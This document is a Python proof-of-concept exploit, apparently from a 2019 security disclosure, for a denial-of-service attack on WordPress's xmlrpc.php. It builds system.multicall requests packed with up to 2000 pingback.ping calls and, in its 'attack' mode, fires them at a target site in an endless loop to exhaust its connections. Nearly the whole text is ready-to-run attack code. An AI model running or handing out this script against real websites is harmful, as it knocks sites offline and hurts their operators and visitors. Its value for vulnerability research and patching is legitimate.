WordPress Core < 5.3.x xmlrpc.php Denial of Service

#!/usr/bin/env python
# WordPress <= 5.3.? Denial-of-Service PoC
# Abusing pingbacks+xmlrpc multicall to exhaust connections
# @roddux 2019 | Arcturus Security | labs.arcturus.net
# TODO:
# - Try and detect a pingback URL on target site
# - Optimise number of entries per request, check class-wp-xmlrpc-server.php
from urllib.parse import urlparse
import sys, uuid, urllib3, requests
urllib3.disable_warnings()

DEBUG = True 
def dprint(X):
if DEBUG: print(X)

COUNT=0
def build_entry(pingback,target):
global COUNT
COUNT +=1
entry  = "<value><struct><member><name>methodName</name><value>pingback.ping</value></member><member>"
entry += f"<name>params</name><value><array><data><value>{pingback}/{COUNT}</value>"
#entry += f"<name>params</name><value><array><data><value>{pingback}/{uuid.uuid4()}</value>"
entry += f"<value>{target}/?p=1</value></data></array></value></member></struct></value>"
#entry += f"<value>{target}/#e</value></data></array></value></member></struct></value>" # taxes DB more
return entry

def build_request(pingback,target,entries):
prefix   = "<methodCall><methodName>system.multicall</methodName><params><param><array>"
suffix   = "</array></param></params></methodCall>"
request  = prefix
for _ in range(0,entries): request += build_entry(pingback,target)
request += suffix
return request

def usage_die():
print(f"[!] Usage: {sys.argv[0]} <check/attack> <pingback url> <target url>")
exit(1)

def get_args():
if len(sys.argv) != 4: usage_die()
action   = sys.argv[1]
pingback = sys.argv[2]
target   = sys.argv[3]
if action not in ("check","attack"): usage_die()
for URL in (pingback,target):
res = urlparse(URL)
if not all((res.scheme,res.netloc)): usage_die()
return (action,pingback,target)

def main(action,pingback,target):
print("[>] WordPress <= 5.3.? Denial-of-Service PoC")
print("[>] @roddux 2019 | Arcturus Security | labs.arcturus.net")
# he checc
if action == "check":    entries = 2
# he attacc
elif action == "attack": entries = 2000
# but most importantly
print(f"[+] Running in {action} mode")
# he pingbacc
print(f"[+] Got pingback URL \"{pingback}\"")
print(f"[+] Got target URL \"{target}\"")
print(f"[+] Building {entries} pingback calls")
# entries = 1000 # TESTING
xmldata = build_request(pingback,target,entries)
dprint("[+] Request:\n")
dprint(xmldata+"\n")
print(f"[+] Request size: {len(xmldata)} bytes")
if action == "attack":
print("[+] Starting attack loop, CTRL+C to stop...")
rcount = 0
try:
while True:
try:
resp  = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=.2)
#dprint(resp.content.decode("UTF-8")[0:500]+"\n")
if resp.status_code != 200:
print(f"[!] Received odd status ({resp.status_code}) -- DoS successful?")
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
pass
rcount += 1
print(f"\r[+] Requests sent: {rcount}",end="")
except KeyboardInterrupt:
print("\n[>] Attack finished",end="\n\n")
exit(0)
elif action == "check":
print("[+] Sending check request")
try:
resp = requests.post(f"{target}/xmlrpc.php", xmldata, verify=False, allow_redirects=False, timeout=10)
if resp.status_code != 200:
print(f"[!] Received odd status ({resp.status_code}) -- check target url")
print("[+] Request sent")
print("[+] Response headers:\n")
print(resp.headers)
print("[+] Response dump:")
print(resp.content.decode("UTF-8"))
print("[+] Here's the part where you figure out if it's vulnerable, because I CBA to code it")
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
print("[!] Connection error")
exit(1)
print("[>] Check finished")

if __name__ == "__main__":
main(*get_args())

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